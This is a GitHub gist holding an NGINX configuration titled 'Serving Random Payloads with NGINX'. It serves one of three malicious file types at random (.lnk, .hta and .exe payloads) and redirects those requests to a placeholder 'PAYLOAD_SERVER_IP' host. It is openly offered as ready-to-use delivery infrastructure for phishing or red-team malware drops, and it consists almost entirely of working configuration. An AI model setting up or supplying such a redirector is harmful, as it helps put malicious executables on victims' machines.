Skip to content

Instantly share code, notes, and snippets.

@jivoi
Created June 14, 2017 13:27
Show Gist options
  • Star 23 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save jivoi/a33ace2e25515a31aa2ffbae246d98c9 to your computer and use it in GitHub Desktop.
Save jivoi/a33ace2e25515a31aa2ffbae246d98c9 to your computer and use it in GitHub Desktop.
Serving Random Payloads with NGINX
# Serving Random Payloads with NGINX
# add set_random module https://github.com/openresty/set-misc-nginx-module#set_random
# edit file /etc/nginx/sites-enabled/default
set_random $uri 1 3;
map $uri $payloads {
1 /payload.lnk;
2 /payload.hta;
3 /payload.exe;
}
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name _;
root /var/www;
index index.html;
location ^/payload/?$ {
rewrite ^/payload/?$ /$payloads redirect;
}
location ^/payload\.(exe|lnk|hta) {
rewrite ^/payload\.(exe|lnk|hta) http://PAYLOAD_SERVER_IP$request_uri redirect;
}
location / {
try_files $uri $uri/ =404;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment